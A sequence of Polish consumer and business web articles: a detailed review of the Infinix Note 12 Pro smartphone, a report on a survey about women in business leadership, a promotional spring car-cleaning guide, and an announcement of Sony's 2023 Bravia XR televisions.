Infinix Note 12 Pro – TEST. Recenzja jaki jest flagowy smartfon chińskiej marki? Opinia, specyfikacja, cena

Spis treści

Zanim rozpoczniemy test Infinix Note 12 Pro dowiedzmy się, z jakim producentem mamy do czynienia.

Infinix Mobile – co to za marka?

Infinix Mobile to chiński producent telefonów komórkowych, którego siedziba mieści się w Hongkongu. Firmę założono w 2013 roku, dwa lata po nabyciu francuskiej firmy Sagem Wireless (ta z kolei zajmowała się projektowaniem i produkcją urządzeń oraz usługami dla operatorów sieci komórkowych i globalnych marek konsumenckich ). Jest spółką zależną od Transsion (pełna nazwa Shenzhen Transsion Holdings Co Ltd), czyli chińskiego producenta telefonów komórkowych, do którego należy – poza Infinix Mobile – także marka Itel (nie mylić z Intel) i Tecno.

Infinix ma obecnie ma 60 oddziałów na całym świecie. To szybko rozwijająca się marka technologiczna, która projektuje, produkuje i sprzedaje skierowane do młodzieży, przystępne cenowo smartfony. W Polsce pojawiła się kilka miesięcy temu (wakacje 2022) debiutując na rynku z niedrogimi smartfonami z linii Hot. Ich zaletą jest zastosowana technologia Power Marathon, która ma pozwalać na o 25% dłuższą pracę baterii w trybie awaryjnym, czyli dodatkowe 2 godziny połączeń przy 5% zużyciu mocy. 

Infinix Note 12 Pro – co jest w opakowaniu?

Przy obecnej tendencji na rynku technologicznym do sprzedawania wyłącznie smartfonu i odejściu od umieszczania do niego akcesoriów, pierwszą zaletą Note 12 Pro jest to, że otrzymujemy w opakowaniu:

  • smartfon od razu pokryty zabezpieczającą szybą;
  • kabel USB-C;
  • instrukcję obsługi w języku polskim;
  • przezroczysty, estetyczny case (obudowa zabezpieczająca).

Infinix Note 12 Pro – informacje ogólne od producenta

Słowem wstępu – czym chwali się producent w kontekście Note 12 Pro? Że to estetycznie wykonany, wyróżniający się wydajnym procesorem, potrójnym  aparatem fotograficznym 108 Mpx oraz dużym ekranem AMOLED w standardzie True Color. Na pokładzie znajdziemy płatności zbliżeniowe (NFC), Wi-Fi 5, Bluetooth 5.1, biometrię, GPS (GLONASS, Galileo i Beidou też).

Polska premiera tego smartfona odbyła się 26 września. Nasz test trwał 4 miesiące. Jaki jest w rzeczywistości ten smartfon?

Infinix Note 12 Pro – wyświetlacz

Dobry wyświetlacz to połowa sukcesu, a ten jest wystarczająco jasny, by nie oślepiać w ciemnościach. Daje umiarkowaną wyrazistość w bardzo słoneczne dni. To kontrastowy (100 000:1) wyświetlacz o przekątnej 6,7 cala, AMOLED, z technologią True Color, z nasyconą kolorystyką (standard Display P3/DCI-P3, bez sRGB), głęboką czernią i zimną bielą (można ją ocieplić dzięki dobrze działającej funkcji „ochrona wzroku”). Ma rozdzielczość FHD+ (2K, 2400 x 1080 pikseli), więc dokładnie odwzorowuje detale.

Odchodzące, już nawet w smartfonach budżetowych, odświeżanie 60 Hz powoduje, że lepiej używać jasnego motywu, by uniknąć smużenia czy problemów z wyrazistością czcionki. Za to pochwała należy się za przyjazne, naturalne barwy (100-procentowe natężenie kolorów DCI-P3), co doceniłam podczas oglądania filmów i zdjęć. Także wtedy, gdy warunki oświetleniowe są słabe, czujnik światła po chwili zmienia jasność i dopasowuje do zastanego otoczenia. Funkcja Allways on Display ma kilka stylów, więc można wyświetlić sobie procent naładowania akumulatora, godzinę, czy aktualną datę.

Nie jest to smartfon do wybitnie skomplikowanych gier, ale na zwykłych grach mobilnych z dobrze ustawioną grafiką Note 12 Pro radzi sobie naprawdę świetnie!

Infinix Note 12 Pro – wygląd, wymiary, kolory obudowy

Wzornictwo tego smartfonu jest moim zdaniem na najwyższym poziomie. Smukła, cienka obudowa – o grubości zaledwie 7,8 mm – jest zarówno elegancka, jak i ergonomicznia. Powstała zgodnie z najnowszymi, minimalistycznymi trendami.

Infinix Note 12 Pro wymiary w mm: 164,4 x 76,5 x 7,8 mm.

Kolory obudowy: niebieska (rekomenduję ten wybór, bo ładna) oraz perłowo-srebrna i grafitowa.

Urządzenie świetnie leży zarówno w dłoni dorosłego (zwłaszcza kobiety), ale także dziecka. Sprzyja temu kształt z lekko zaokrąglonymi rantami i wykonanie z jakościowego tworzywa, które do złudzenia imituje szkło i aluminium. Infinix nie wyślizguje się z dłoni jak cienkie flagowce Samsunga i utrzymuje się doskonale, nawet podczas trzymania jedynie kilkoma palcami (przy selfie). Bardzo dobrze sprawdza się np. podczas podróży, kiedy się spieszymy i chcemy szybko zrobić zdjęcia. Dobrze wygląda na „influencerskim” stoliku. Prezentuje się na tyle ciekawie, że dwukrotnie mnie pytano na spotkaniach biznesowych, co to za telefon „bo ładny”.

Infinix Note 12 Pro

Infinix Note 12 Pro

Doskonałe spasowanie zasługuje na słowa pochwały, bo w budżetowym telefonie nie jest normą.

Okrągła wyspa z aparatami nie wystaje znacząco, jest estetycznie wkomponowana w błyszczące, kwadratowe pole (to właśnie je widać, gdy założymy case), które z kolei otacza designerska, brokatowo-matowa obudowa tylnej części, wykonana z dobrej jakości plastiku. Wygląda bardzo „profi” i ma tę praktyczną zaletę, że nie widać na niej odcisków palców, czy tłustych smug. Z przodu zastajemy nieduże wykrojenie na kamerę, na samej górze, w polu ekranu.

Całość, podczas użytkowania, sprawia wrażenie sztywnego urządzenia, które jest odporne na np. dziecięcą pomysłowość i aktywność. Przez ostatnie miesiące testów ani razu nie miałam wrażenia, że użyte materiały i konstrukcja mogą nie podołać zwykłej, codziennej eksploatacji telefonu.

Wspomniana grubość, ale i lekkość Note 12 Pro to nadrzędne zalety Infinixa.

Masa – jedynie 192 g – predestynuje tego smartfona jako idealne urządzenie dla młodzieży, kobiet, czy seniorów. W przypadku tych ostatnich warto nadmienić, że choć Infnix Note 12 Pro nie ma możliwości ustawienia naprawdę dużej wielkości czcionki, to zastana jest czytelna i spora.

Infinix Note 12 Pro – dźwięk

Tu kolejne moje zaskoczenie: para wbudowanych głośników brzmi lepiej, niż rywale w tej klasie. Głośniki obsługują technologię DTS i kodeki AAC i LDAC. Są umieszczone na górze i na dole smartfona. Dają czyste dźwięki, kierowane dookólnie, przez co dialogi są wyraziste. Jakość rozmów jest na dobrym, rynkowym poziomie.

Nie spodziewajmy się tu głębokich basów, ale Infinix Note 12 Pro brzmi naprawdę dobrze (ma dodatkowe wzmocnienie). W trakcie filmowych seansów, czy gamingowych potyczek da się usłyszeć nawet przestrzenne efekty.

Warto w tym miejscu zaznaczyć, że obecnie nawet flagowe smartfony, za blisko 10 tysięcy złotych, są pozbawiane wejścia słuchawkowego, dlatego w Infinixie należy docenić, że takowe jest.

Infinix Note 12 Pro – aparat

Obecnie smartfony kupuje się głównie dla dobrego aparatu. To on dostarcza najwięcej przyjemności z użytkowania i miłych wspomnień, gdy umożliwia zrobienie dobrej fotki. W Note 12 Pro zrobienie wyraźnego zdjęcia, z dużą liczbą detali, zarówno w dzień, jak i po zmroku, nie stanowi problemu, dzięki aparatowi 108 Mpix z poczwórną lampą błyskową. 

Główny aparat ma 3 wielozadaniowe obiektywy – to inteligentna optyka z AI. Obiektyw szerokokątny (bez ultra) umożliwia objęcie kadrem naprawdę sporej części panoram, porównywalnie jak w smartfonach wyższych segmentów. AI, czyli sztuczna inteligencja, działa bardzo sprawnie i pomaga niedoświadczonemu użytkownikowi w zrobieniu dobrej jakości zdjęcia. Do tego celu przewidziano kilka trybów (np. jedzenie, ulica).

Infinix Note 12 Pro

Infinix Note 12 Pro

Portrety wychodzą świetnie, z mnóstwem detali i dużym poziomem szczegółowości, np. na ubraniu. Gdy z twarzy chcemy zdjąć nieco lat, możemy użyć trybu uroda – młodniejemy natychmiastowo. Efekt wygładzania zmarszczek działa tu rewelacyjnie. Aby wyprasować wszystko, co jest do poprawienia na twarzy, warto przetestować różne poziomy ustawienia „uroda” – nasze rysy stają się delikatniejsze na początku, by zmienić się zupełnie, na końcu skali. Tło jest rozmyte optymalnie, a kontury sylwetki bez przesadzonego kontrastu. Aparat zachowuje przy tym oryginalne, nie przegięte w żadną stronę barwy. Odpowiednio uchwyci detale, choć pod światło radzi sobie umiarkowanie. W złych warunkach świetlnych twarz można doświetlić lampą – dioda LED jest estetycznie i prawie niewidocznie wkomponowana w górnym panelu. To udany pomysł i godny naśladowania przez innych producentów.

Aparat robi dobrej jakości, doświetlone optymalnie zdjęcia. W dobrym oświetleniu są naturalne, nie przejaskrawione, bez przesadnie żywych barw (co mnie osobiście denerwuje u rywali), z optymalnym balansem bieli (nie możemy go ustawić). Ostrość jest typowa dla tego typu obiektywów.

Obiektyw został wyposażony w tryb ultranocny, który działa naprawdę dobrze. Radzi sobie w nocnych, wybitnie ciemnych warunkach – nawet wówczas poziom szczegółowości jest dobry. Gdy się postaramy i utrzymamy stabilnie smartfon w ręku nieco dłużej, niż zwykle, to zdjęcie może wyjść ostre, z niewielką ilością ziarna. To zdecydowany plus.

Infinix Note 12 Pro aparat tylny

  • 108 Mpix (f/1.8, PDAF, bez OIS)
  • obiekty do mikrofotografii 2 Mpix (f/2.4, czujnik głębi ostrość)
  • QVGA (AI)
  • cztery diody LED
  • 2K, 1080p, 30/60 fps

Infinix Note 12 Pro aparat przedni

  • obiektyw do selfie 16 Mpix z czujnikiem głębi (f/2.0)
  • 2K,30 fps,
  • przednia lampa błyskowa – dioda LED

Ruch – pod różnymi postaciami – można uwiecznić nagrywając filmy 2K. Tu także możemy liczyć na „wsparcie” AI, dzięki przeróżnym wykrywanym trybom, tj. ulica, ruch (bardzo się przydaje, bo smartfon nie ma stabilizacji optycznej czy elektronicznej), podróże, czy efekt retro. Filmy nagrywane są w rozdzielczości 2560×1440 pikseli – co gwarantuje nam świetną ostrość i naturalną kolorystykę – lub Full HD. Tylnym aparatem nagramy film w 1080p 60 fps, przednim – 1080p 30 fps.

Infinix Note 12 Pro – system operacyjny

System operacyjny XOS 10,6 powstał na bazie Android 12, to autorska nakładka marki Infinix. Oferuje m.in. optymalizację pamięci masowej, wygodną obsługę gestów i wielu okien (np. skrótów i powiadomień z belki odrębnie), wysoki poziom ochrony prywatności oraz nowoczesny interfejs, miejscami zbliżony nawet do funkcjonalności i layoutu iOS – świetnie!

Telefon kupujemy ze sporą liczbą zastanych aplikacji, większość z nich jest przydatna. Otrzymujemy także powiadomienia ze sklepu Infinix, chyba, że telefon jest pod kontrolą rodzica – wówczas reklamy nie są wysyłane.

Infinix Note 12 Pro – procesor

Testowany smartfon ma moim daniem wystarczająco szybki i wydajny 8-rdzeniowy procesor MediaTek Helio G99 6 nm (o częstotliwości taktowania 2,2 GHz)  z 8 GB RAM. Urządzenie wyposażono w 10-warstwowy system chłodzenia grafitem, zapewniający obniżenie temperatury rdzenia nawet o 7 stopni Celsjusza, dzięki czemu procesor się nie przegrzewa. Aplikacje uruchamiane są szybko, równie sprawnie przebiega ich instalowanie. Podczas mobilnych gier nie zawodzi umożliwiając multimedialną zabawę płynną, liniową pracą.

Infinix Note 12 Pro – bateria i ładowanie. Czas pracy baterii?

Za zasilanie Infinix Note 12 Pro odpowiada akumulator 5000 mAh. To duża pojemność, połączona z optymalizacją zużycia energii w technologii Power Marathon, która pozwala na nawet 25 proc. dłuższą pracę baterii w trybie awaryjnym, czyli dodatkowe 2 godziny połączeń przy 5-procentowym zużyciu mocy baterii. To przepustka do wielogodzinnej rozrywki, telefonowania, przeglądania internetu i słuchania muzyki przez cały dzień.

Urządzenie może być ładowane z mocą 33 W przez dołączony (za darmo!) do smartfona kabel USB-C. Infinixa Note 12 Pro można naładować w pół godziny do 50 procent. Blisko 1,25 h trwa naładowanie od zera do 100 procent. Tylko! Moim zdaniem – optymalnie szybko.

Ten egzemplarz nie został wyposażony w ładowanie indukcyjne.

Według moim pomiarów czas pracy na baterii Infinix Note 12 Pro to ok. 7 godzin intensywnego wykorzystania smartfona przy użyciu Wi-Fi. Przy normalnej eksploatacji bez problemu osiągniemy stan, w którym telefon będziemy ładować co dwa dni. Dziecko rzadziej korzystające ze smarfona ze względu na ograniczenia rodzicielskie, będzie się cieszyć energią w akumulatorze nawet przez trzy dni.

Infinix Note 12 Pro – pamięć i karty

Infinix Note 12 Pro ma tackę na trzy karty, czyli dual nano SIM oraz micro SD (2 x karta SIM + 1 x karta SD). Ten ostatni czytnik kart SD to duża zaleta, z której często korzystam. Karty pamięci umieszcza się z obu stron tacki – karta SIM od spodu, karta pamięci od góry.

Note 12 Pro dysponuje pamięcią RAM 8 GB i wewnętrzną 256 GB (to naprawdę sporo za tę cenę!) z możliwością poszerzenia jej o 13 GB, dzięki integracji 8+5 GB ROM i RAM.

Infinix Note 12 Pro – biometria

Poza typową blokadą ekranu, telefon może zostać przez użytkownika zabezpieczony za pomocą rozpoznawania twarzy (w złych warunkach oświetleniowych twarz doświetla ekran) lub skanowania odcisku palca (czytnik znajduje się na obudowie z boku). W obu przypadkach biometria działa bez zarzutu, porównując nawet z flagowymi produktami marki Apple czy Samsunga.

Infinix Note 12 Pro – opinia

Telefon po kilkutygodniowym użytkowaniu sprawuje się bardzo dobrze. Zaskoczył mnie jakością wykonania i kilkoma funkcjami, których nie widziałam w smartfonach budżetowych. Można np. zmienić nawet kolejność przycisków nawigacyjnych. Występuje też ochrona wzroku (filtr światła niebieskiego), co uważam obecnie za must have. Jeśli chodzi o możliwości powiadomień, to wolę ascezę, także dla mnie informacje o SMS-ach i nieodebranych połączeniach telefonicznych w zupełności wystarczą.

Smartfon nigdy mi się nie przegrzał. Mimo dłuższego obciążenia systemu, całość działała stabilnie, bez gwałtownych spadków taktowania. Brawo!

Infinix Note 12 Pro

Infinix Note 12 Pro

Choć mój egzemplarz nie miał modemu 5G (w sklepach można kupić i taką wersję), ani Wi-Fi 6, to doceniam go za obecność czytnika kart pamięci microSD (wyklucza funkcję Dual SIM, co osobiście mi nie przeszkadza). Warto zaznaczyć, że działa tu VoLTE w T-Mobile / VoWiFi.

Ponieważ często obsługuję smartfon jedną ręką, więc w Infinix Note 12 Pro wygodnie korzystam z panelu bocznego – jest to lepiej rozwiązane niż u rywali.

Podsumowując: Infinix Note 12 Pro to naprawdę solidnie wykonany, funkcjonalny smartfon – nie ugina się przy jakichkolwiek „dziwnych” próbach – jest wystarczający sztywny. Komfort użytkowania jest moim zdaniem na wysokim poziomie, podobnie jak ergonomia. Jestem bardzo pozytywnie zaskoczona, jak dobry może być chiński smartfon za niewygórowaną cenę. O niej poniżej.

Infinix Note 12 Pro – cena. Gdzie kupić?

Infinix Note 12 Pro wchodził na rynek za 1399 złotych, choć w premierowej cenie można go było kupić za 1199 złotych. Obecnie producent zdecydował się na utrzymanie promocyjnej ceny i jest ona obowiązująca – wynosi znów 1199 złotych. To optymalna wycena.

Gdzie kupić Infinix Note 12 Pro? Na Allegro w strefie marki, Euro RTV AGD, sklepach Komputronik, Media Expert, Neonet, Techwish, czy x-kom.

Infinix Note 12 Pro 8/256 GB 6,7″ – dane techniczne

SPECYFIKACJA Infinix Note 12 Pro

Przekątna wyświetlacza     6,7 „
Rozdzielczość ekranu         2400 x 1080 pikseli
Rodzaj wyświetlacza           AMOLED
Częstotliwość odświeżania ekranu  60 Hz
Wyświetlacz         Full HD+
Aparat tylny          108 Mpix + 2 Mpix
System operacyjny             Android 12
Procesor               MediaTek Helio G99 8-rdzeniowy
Pamięć RAM         8 GB
Pamięć wbudowana           256 GB
Czytnik kart pamięci microSD           tak do 2 TB
Pojemność baterii               5000 mAh
Menu w języku polskim     tak
Złącza     słuchawkowe typ 3,5 mm jack, USB typ C

Łączność bezprzewodowa

Wi-Fi      tak
5G           nie
LTE          tak
Płatność zbliżeniowa (NFC)               tak
Bluetooth              tak (kodeki AAC i LDAC)
HSDPA / HSUPA / HSPA+   tak / tak / tak
GPRS / EDGE         tak /

Funkcje multimedialne

Aparat tylny          108 Mpix + 2 Mpix
Funkcje aparatu   autofocus, ledowa lampa błyskowa
Aparat przedni     16 Mpix
Rozdzielczość nagrywania wideo     2K
Nawigacja: odbiornik GPS tak / GPS
Odtwarzacz audio               tak
Odtwarzacz audio               AMR, MIDI, MP3, WAV
Odtwarzacz wideo              3GP, AVI, MP4

Funkcje telefonu

Standardy wysyłania/odbierania wiadomości               e-mail, MMS, SMS
Rodzaj karty SIM  nano SIM
Dual SIM                tak, nanoSIM – nanoSIM
Czujniki czujnik światła otoczenia, czujnik zbliżeniowy, czytnik linii papilarnych, kompas, żyroskop
Funkcje dodatkowe            Google Play
Czytnik kart pamięci microSD           tak

Parametry fizyczne

Obudowa              klasyczna – ekran dotykowy
Kolor obudowy    niebieski
Bateria   5000 mAh niewymienny
Ładowanie szybkie/bezprzewodowe              tak / nie
Typ gniazda ładowania       USB typ C
Wymiary (wys. x szer. x głęb.)          164 x 76,5 x 7,8 mm
Waga      192 g

Wodoodporność – nie; slot kart SIM uszczelniany

Ładowanie indukcyjne – nie

WYPOSAŻENIE       W opakowaniu instrukcja obsługi w języku polskim, kabel USB-C

GWARANCJA                        24 miesiące

Rywale: Motorola Moto G82, T Phone Pro 5G, Realme GT Master

Source: Infinix Note 12 Pro – TEST. Recenzja jaki jest flagowy smartfon chińskiej marki? Opinia, specyfikacja, cena

Kobiety w biznesie bardziej szczere i uczciwe – za sterami firm jest ich jednak drastycznie mało. Wnioski z badania

Według analizy przygotowanej przez Transparent Data na podstawie danych z CEIDG oraz KRS w lutym 2023 r., 1,8 mln własnych działalności gospodarczych w Polsce jest prowadzonych przez mężczyzn, a 586 tys. panów zasiada w zarządach spółek. Tymczasem kobiety w biznesie, a dokładnie w zarządach to prawie 194 tys., zaś firm, w których zarząd składa się z samych pań, zaledwie 80,2 tys. Dla porównania firm, gdzie u steru są wyłącznie mężczyźni, jest aż 326 tys. Patrząc przez pryzmat formy prawnej, najwięcej pań jest członkami zarządu w spółkach z ograniczoną odpowiedzialnością – 162,1 tys. i spółkach jawnych – 22,6 tys. Najmniej w prostych spółkach akcyjnych – zaledwie 386 i spółkach komandytowo-akcyjnych – 554.

Kobiety w biznesie – z empatią do kontrahenta

Badanie „Rzetelna w biznesie” zrealizowane z inicjatywy Rzetelnej Firmy, obejmujące zarówno kobiety, jak i mężczyzn zarządzających firmami, pokazuje, że w wielu kwestiach dotyczących kierowania biznesem obie płcie są postrzegane podobnie. Są jednak aspekty, które różnią panie i panów.

Zarządzanie i dużą, i małą firmą to nie tylko zwiększanie przychodów. To także podejmowanie trudnych decyzji, układanie współpracy z kontrahentami, dbałość o dopływ zleceń i solidność ich realizacji, a nierzadko również mało komfortowe egzekwowanie należności od kontrahentów.

Jeśli chodzi o ocenę, kto jest bardziej rzetelny – słowny, terminowy i uczciwy – w prowadzeniu firmy, 70 proc. respondentów uważa, że panie i panowie w równym stopniu. Jednak 17 proc. wskazuje na mężczyzn, natomiast 11 proc. jako solidniejsze postrzega kobiety. Z kolei wykazywanie się wyrozumiałością wobec kontrahentów, którzy mają problemy finansowe, to domena pań. Prawie 1/3 badanych odbiera je jako bardziej empatyczne, a tylko 6 proc. widzi tu przewagę płci męskiej. To w tej kwestii w sondażu Rzetelnej Firmy widać największe różnice w odbiorze kobiet i mężczyzn.

Przedstawicie firm uważają, że kobiety są bardziej uczciwe w relacjach handlowych, np. częściej potrafią przyznać się do błędu czy zwrócić kontrahentowi omyłkową nadpłatę – wynika z badania „Rzetelna w biznesie” przeprowadzonego przez TGM Research na zlecenie Rzetelnej Firmy.

Kobiety prezeski – jakie są?

Dla 17 proc. osób zarządzających firmami to panowie mają większe skłonności do podejmowania decyzji korzystnych dla obu stron umowy, przynoszących obopólne dobro. Tę cechę u kobiet docenia 11 proc. ankietowanych.

– Chcieliśmy się też dowiedzieć, kto bardziej przedkłada dobre relacje z kontrahentami ponad szybki zysk firmy. Okazuje się, że co piąty badany uważa, iż to kobiety są bardziej nastawione na budowanie trwałych, wartościowych kontaktów, opartych na zrozumieniu biznesu prowadzonego przez partnerów handlowych. Cechę tę u panów akcentuje tylko 13 procent respondentów. Natomiast ponad dwie trzecie przedsiębiorców tak samo ocenia ten aspekt u pań i panów.

Dobre relacje z kontrahentami, oparte na wzajemnej uczciwości, są podstawą prowadzenia firmy, a w dłuższej perspektywie owocują zyskiem finansowym. Współpraca na zdrowych zasadach po prostu się opłaca. Czasem transakcje na mniejsze kwoty, ale z kontrahentem, którego dobrze znamy i wiemy, że zapłaci za towar na czas, znaczą więcej niż tak zwany złoty strzał u nieznanego partnera. W takim przypadku może się okazać, że zrealizowaliśmy duże zamówienie, za które nie dostaniemy pieniędzy – mówi Katarzyna Starostka, ekspert programu Rzetelna Firma.

Kobiety przyznają się błędu i oddadzą pieniądze

Według blisko co 4. przedsiębiorcy to kobiety bardziej niż panowie umieją przyznać się do błędu czy oddać nadwyżkę pieniędzy, którą wpłacił kontrahent. Tylko 12 proc. respondentów za bardziej wiarygodnych pod tym względem uważa mężczyzn.

kobiety w biznesie

Dla 1/4 osób zarządzających firmami rozwaga i skłonność do minimalizowania ryzyka oraz dokładna analiza przed podjęciem decyzji to mocna strona pań. 19 proc. przeważa jednak szalę na stronę mężczyzn.

Obecnie coraz większą wagę firmy przywiązują do społecznej odpowiedzialności biznesu, jak minimalizowanie negatywnego wpływu prowadzonej działalności na środowisko czy organizowanie akcji charytatywnych. Przodują w tym panie (28 proc.), zaś panowie są odbierani jako bardziej powściągliwi (9 proc.).

Uczciwość nie ma płci

18 proc. badanych twierdzi, że kobiety częściej płacą na czas, a w razie problemu uprzedzają o możliwych opóźnieniach. W opinii przedsiębiorców postępuje tak tylko 12 proc. panów.

– Tak naprawdę uczciwość nie ma płci. Płacenie na czas powinno być normą w biznesie, bo od tego zależy kondycja firm, możliwość zatrudnienia nowych pracowników i inwestowania w rozwój. Jeśli przedsiębiorstwo nie otrzymuje pieniędzy na czas bądź wcale, dostaje finansowej zadyszki. W efekcie nie może rozliczać się z kontrahentami, opłacać pensji i podatków, a w skrajnych przypadkach zbankrutować. Zatory płatnicze to bolączka polskiej gospodarki, dlatego tak ważne jest, aby przedsiębiorcy mieli świadomość, że jedna niezapłacona przez nich faktura to wiele kłopotów dla ich kontrahenta – zauważa Adam Łącki, prezes Zarządu Krajowego Rejestru Długów Biura Informacji Gospodarczej.

Zdaniem przedsiębiorców większą troskę o dotrzymywanie ustalonych terminów dostarczenia projektów bądź usług wykazują kobiety (16 proc.). Dla 9 proc. badanych prym wiodą mężczyźni.

Badanie „Rzetelna w biznesie” przeprowadzone przez TGM Research na zlecenie Rzetelnej Firmy zostało zrealizowane w lutym 2023 r. metodą CAWI na reprezentatywnej próbie 526 przedsiębiorców – kobiet i mężczyzn – zarządzających firmami.

Source: Kobiety w biznesie bardziej szczere i uczciwe – za sterami firm jest ich jednak drastycznie mało. Wnioski z badania

Zadbaj o samochód na wiosnę

Zacznijmy od tego, że warto jest skutecznie spłukać drogowe pozostałości po soli i brudzie z lakieru i progów naszego samochodu. Dzięki tak prostemu zabiegowi nadwozie auta odwdzięczy się nam tym, że nie będzie mieć tendencji do korodowania. Nie zapominajmy przy tym również o felgach i oponach, na których również znajduje się sporo zanieczyszczeń.

Także wnętrze samochodu po zimie wymaga wyczyszczenia. Po kilku miesiącach jazdy bez wietrzenia samochodu warto jest umyć zarówno szyby, uszczelki oraz wszystkie plastiki, ale też odkurzyć tapicerkę. Nasz samochód zyska świeższy wygląd i zapach.

Podstawowe kosmetyki samochodowe do wnętrza

Podstawowe środki do pielęgnacji samochodu są bardzo łatwe w użyciu, nie drogie i bardzo skuteczne. Na przykład, jeśli chcemy wyczyścić wnętrze samochodu, skorzystajmy ze środka do czyszczenia wnętrza (interior cleanera), który po nałożeniu na miękką ścierkę z mikrofibry pomoże skutecznie doczyścić deskę rozdzielczą i wszelkie tworzywa. Przy takiej pielęgnacji należy wykonywać okrężne ruchy dłonią. Po zakończeniu całego procesu zaskoczy nas ile brudu i zanieczyszczeń zostało na mikrofibrowym ręczniku.

Odpowiedni interior cleaner z powodzeniem czyści plastiki w naszym samochodzie, ale także jest bezpieczny dla bardziej wrażliwych miejsc, takich jak np. wyświetlacze.

Pamiętajmy, że czyszczenie wnętrza auta wykonuje się nie tylko po to, aby zadbać o wizualny aspekt naszego samochodu, ale również w trosce o zdrowie. Dobra pielęgnacja materiałów pozwala na pozbycie się dużej ilości bakterii.

Przechodzimy do czyszczenia tapicerki – tuż po tym warto nałożyć dressing do wnętrza na wyczyszczone powierzchnie. Należy to zrobić innym niż dotychczas, czystym ręcznikiem z mikrofibry. Dzięki temu nasza tapicerka zyska ładny, matowy wygląd, a kurz nie będzie tak łatwo przywierał jej powierzchni.

Ciekawym rozwiązaniem w czyszczeniu lekko ubrudzonych foteli materiałowych jest metoda prania na sucho – z wykorzystaniem odpowiedniej chemii i pędzla lub mikrofibry. Możemy wyprać nasze fotele bez użycia zaawansowanego odkurzacza piorącego. Takie pranie w detailingu nazywamy bonnetowaniem.

Na koniec pracy z wnętrzem naszego samochodu wykorzystajmy nowy zapach, który stopniowo będzie uwalniał nuty zapachowe sprawiając, że przebywanie w aucie stanie się jeszcze bardziej przyjemne.

Wszystkie wymienione środki można kupić np. w internetowym sklepie detailingowym sh1ne.

Na koniec ważna uwaga – do czyszczenia szyb znów warto użyć czystej mikrofibry. Trzeba wybierać takie ręczniki do szyb, które nie pozostawiają smug. Zalecamy użycie jednej do czyszczenia szyb z zewnątrz, a drugiej do czyszczenia tej czystszej strony – wewnątrz.

Podstawowe środki do mycia samochodu z zewnątrz

Jeśli chcemy skutecznie umyć auto z zewnątrz możemy udać się na myjnię bezdotykową i wykorzystać kolejne z gamy podstawowych kosmetyków samochodowych – np. aktywną pianę lub środki do oprysku. Są to profesjonalne środki nie wpływające negatywnie na lakier naszego samochodu (w przeciwieństwie do taniej chemii na myjni). Są również znacznie bardziej skuteczne. Wystarczy nam opryskiwacz lub pianownica oraz odpowiednia ilość środka wymieszanego z wodą. Po aplikacji takiego roztworu na samochód musimy odczekać odpowiednią ilość czasu i bardzo dokładnie spłukać wodą (program spłukiwania na myjni). Taki środek możemy aplikować na cały samochód, zarówno na szyby jak i felgi z oponami.

Jeśli w taki sposób nie udało nam się doczyścić najmocniej zabrudzonych elementów tzn. felg i opon, to wykorzystajmy odpowiedni środek do ich czyszczenia, a także szczotkę lub pędzel do czyszczenia felg oraz opon. Teraz znów spłuczmy chemię. Nie zapominajmy o wnękach kół, w których również gromadzi się sporo zanieczyszczeń drogowych i soli. 

Profesjonalny internetowy sklep detailingowy

W sklepie detailingowym sh1ne są dostępne profesjonalne produkty, zarówno polskich producentów jak i zagranicznych, np. znanej na całym świecie amerykańskiej marki Meguiar’s. Wszystkie są bardzo skuteczne. Jeśli nie wiesz, co będzie dla Ciebie najlepsze, sugerujemy przetestowanie kilku produktów i przy kolejnej okazji wypróbowanie środków od innych producentów.  Wielu amatorów oraz profesjonalnych detailerów również często zmienia swój wybór, jeśli chodzi o dobór odpowiedniej chemii, aby mieć porównanie i wybrać swoich liderów.

Jeśli nie wiesz jakie produkty są Ci potrzebne możesz skorzystać z kontaktu ze sklepem.

Source: Zadbaj o samochód na wiosnę

Sony Bravia XR 2023 – gama telewizorów zaprezentowana. TV coraz bliżej kina

Spis treści

Sony zaprezentowało telewizory Bravia XR z rocznika 2023, z procesorem Cognitive Processor XR, czyli rodzinę czterech nowych modeli: 

  • X95L (Mini LED)
  • X90L (Full Array LED)
  • A95L (QD-OLED)
  • A80L (OLED)

Wszystkie telewizory są wyposażone w rozwiązania, dzięki którym oglądanie filmów, korzystanie z oferty serwisów streamingowych i granie mają być źródłem intensywnych przeżyć. Co nowego się w nich pojawiło?

Sony Bravia XR 2023 – zmodernizowany procesor

Przede wszystkim pojawił się zmodernizowany procesor Cognitive Processor XR z nową technologią XR Clear Image, która ma ograniczać zakłócenia w obrazach przedstawiających szybki ruch, przeciwdziałać ich zamazywaniu się i sprawiać, że akcja na ekranie jest jeszcze wyraźniejsza. Lepiej też steruje podświetleniem: rozszerza zakres lokalnego wygaszania, zwiększa jasność i przeciwdziała powstawaniu poświaty.

Sony Bravia XR 2023 – nowa technologia

Wszystkie telewizory są wyposażone w funkcję Acoustic Center Sync, która synchronizuje system audio telewizora z kanałem centralnym zgodnego soundbara Sony – to zmienia telewizor w głośnik centralny. Po podłączeniu soundbara zyskujemy obsługę technologii 360 Spatial Sound Mapping – ta ma optymalizować pole brzmieniowe poprzez wytwarzanie wirtualnych głośników.

Tegoroczną nowością jest technologia Acoustic Multi-Audio+ w modelu X95L, kontrolująca dźwięk w taki sposób, aby emitować go w odpowiednim miejscu na ekranie, zgodnie z wyświetlaną akcją.

Telewizory A95L i A80L wyposażono w technologię Acoustic Surface Audio+. Jej działanie polega na wprowadzanie ekranu w wibrację przy użyciu specjalnych siłowników, dzięki czemu dźwięk dobiega z całego ekranu i idealnie pasuje do obrazu.

Sony Bravia XR 2023

Sony Bravia XR 2023 – dla gier na konsolę PlayStation 5

Linia Bravia XR na 2023 rok pojawia się z funkcjami optymalizacji jakości obrazu podczas grania i streamingu, takimi jak Auto HDR Tone Mapping (automatyczne odwzorowywanie odcieni HDR) i Auto Genre Picture Mode (dostosowywanie trybu obrazu do gatunku). Dzięki nowemu Menu „gra”, gracze mogą dostosowywać do swoich upodobań szereg ustawień, na przykład włączać i wyłączać zmienną częstotliwość odświeżania (VRR) lub osłabianie rozmycia ruchu. Menu pozwala też użyć funkcji „korektor czerni” do rozjaśnienia ciemnych obszarów w celu poprawy widoczności przeciwników i przedmiotów, a także wybrać jeden z sześciu typów celowników.

Po raz pierwszy wprowadzono funkcję „rozmiar ekranu”, umożliwiającą dostosowywanie rozmiaru obrazu, na przykład w celu skupienia akcji gry na mniejszym obszarze. Telewizor A95L ma również funkcję Multi-View, dzięki której gracze mogą wyświetlić poradniki i podpowiedzi obok okna, w którym toczy się ulubiona gra.

